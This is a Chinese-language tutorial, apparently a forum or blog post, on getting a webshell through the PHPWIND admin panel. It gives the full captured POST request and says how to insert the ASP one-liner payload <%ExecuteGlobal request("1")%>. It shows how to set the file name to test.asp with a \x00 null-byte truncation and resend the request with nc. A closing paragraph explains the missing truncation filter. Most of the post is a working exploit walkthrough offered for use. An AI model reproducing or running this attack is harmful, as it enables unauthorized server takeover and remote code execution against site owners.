今天分享一个之前实测有效的 PHPWIND 后台漏洞利用思路。事情发生在大约一周前,当时的目标论坛运行的是 PHPWIND,常规上传方法全部被拦截,网上流传的三种拿 Shell 的手段均未成功。如果你也遇到类似困境,不妨尝试这个路径——它本质上源于 PHPWIND 后台的权限控制缺陷。
准备工作非常简单:你需要 Winsock 专家 v0.6 beta 版(用于抓包)、UE-32(十六进制编辑器)、nc(网络发送工具),再加上一台可以联网的电脑(扔砖头的可以歇了)。
进入后台后,依次点击“风格插件”→“风格模板”→“添加风格”。在第一项“此风格在 image 目录下的文件夹名称”里填写一个自定义名称,例如 TEST 或 CUSTOM,然后提交。提交后点击“返回继续操作”,找到刚才新建的风格,再点击“编辑”。
接下来轮到 Winsock 上场。打开 Winsock,启动 IE 进程,随意修改一个参数(比如把某个百分比值从 98% 改为 97%),目的是捕获完整的数据包。关键不在于改了什么,而在于抓到完整的 POST 请求包。
一共抓取了两条数据,分别保存为 a.txt 和 b.txt:
第一条(a.txt)是 HTTP 请求头:
POST /phpwind/upload/admin.php?adminjob=setstyles&verify=bb457aae& HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwa ve-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: https://x22222.h21.ttrr.com/phpwi ... n=edit&sid=test
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; https://bsalsa.com) ; .NET CLR 2.0.50727)
Host: x22222.h21.ttrr.com
Content-Length: 473
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: [略]第二条(b.txt)是 POST 正文:
action=edit&step=3&sid=test&setting%5B0%5D=test&setting%5B1%5D=wind&setting%5B2%5D=1&setting%5B7%5D=97%25&setting%5B8%5D=98%25&setting%5B3%5D=%23fff&setting%5B4%5D=%232f5fa1&setting%5B5%5D=%23B6D9E3&setting%5B6%5D=%23D4EFF7&setting%5B9%5D=%2376BAC2&setting%5B10%5D=%2376BAC2&setting%5B11%5D=%23005681&setting%5B12%5D=%235495A0&setting%5B13%5D=%23F7F7F7&setting%5B14%5D=%23D6E8CB&setting%5B15%5D=%23659b28&setting%5B16%5D=%23ffffff&setting%5B17%5D=%23F4FBFF&setting%5B18%5D=重点来了。打开 b.txt,把第三个参数 sid=test 改为 sid=test.aspa,然后在最后一个参数 setting%5B18%5D= 后面加上 %0D%0C%3C%25ExecuteGlobal+request%28%221%22%29%25%3E——简化后即为回车符 + <%ExecuteGlobal request("1")%>。保存文件。此时 b.txt 的大小应为 530 字节。
将 b.txt 的内容复制到 a.txt 的最下方,然后用 UE-32 打开 a.txt。把 Content-Length: 473 改为 Content-Length: 530。切换到十六进制模式,找到刚才修改过的第三个参数 sid=test.aspa,将其中的 . 后面的 a 改为十六进制的 00(即 test.asp\x00)。保存文件。
用 nc 发送修改后的 a.txt。接下来上 FTP 查看 data/style/test.asp 是否已生成——如果是在线入侵,直接用一句话客户端连接即可。生成的文件路径为:bbs.xxxxx.com/data/style/test.asp。
漏洞产生的原因,与早年动网的上传漏洞类似:没有对 \x00 截断进行有效过滤。当我们在生成文件名的参数后面加上 \x00 时,PHPWIND 会认为字符串到此结束,从而直接生成我们想要的 asp 文件。很多人问能否直接生成 php?这个问题一直在尝试,但目前无解——PHP 会将一句话代码包含在单引号内,导致无法正常执行,而 ASP 中单引号不影响执行。由于对 PHP 了解有限,不知道是否有其他绕过方式,希望这篇文章能抛砖引玉,让高手来解决这个遗留问题。
